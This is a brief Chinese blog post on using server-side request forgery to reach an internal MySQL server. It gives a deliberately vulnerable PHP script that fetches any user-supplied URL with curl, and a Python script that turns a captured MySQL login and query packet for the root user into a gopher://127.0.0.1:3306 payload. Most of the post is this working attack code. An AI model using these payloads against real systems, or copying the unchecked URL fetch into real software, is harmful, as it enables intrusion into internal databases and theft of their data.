zoukankan      html  css  js  c++  java
  • ssrf爆破mysql

    php ssrf 代码
    <?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); $data =curl_exec($ch); curl_close($ch); echo $data; ?>

     

    抓包跟踪tcp流

    tcp流原始数据处理 进行urlencode

    python 数据处理

    import urllib
    
    s="""5000000185a60f0000000001210000000000000000000000000000000000000000000000726f6f7400143cf76dd39987f1d2648aabfc4ae53cf62e826ea76d7973716c5f6e61746976655f70617373776f726400
    210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031"""
    s = "".join(s.split())
    
    def encode(s):
        a = [s[2*i:2*i+2] for i in xrange(len(s)/2)]
        return "gopher://127.0.0.1:3306/_%" + "%".join(a)
    
    s = encode(s)
    print "[+ local]", s
    
    s = urllib.quote(s)
    print "[+ url]", s
    

     

    效果:

  • 相关阅读:
    websocket1
    webpack 入门三
    weboack 入门二
    webpack 入门一
    输入一个url发生了什么
    http详解
    JavaScript对象详解
    javaScript垃圾回收机制
    js数据类型与隐式类型转换
    iOS证书申请、AppStore上架流程
  • 原文地址:https://www.cnblogs.com/0xdd/p/11181490.html
Copyright © 2011-2022 走看看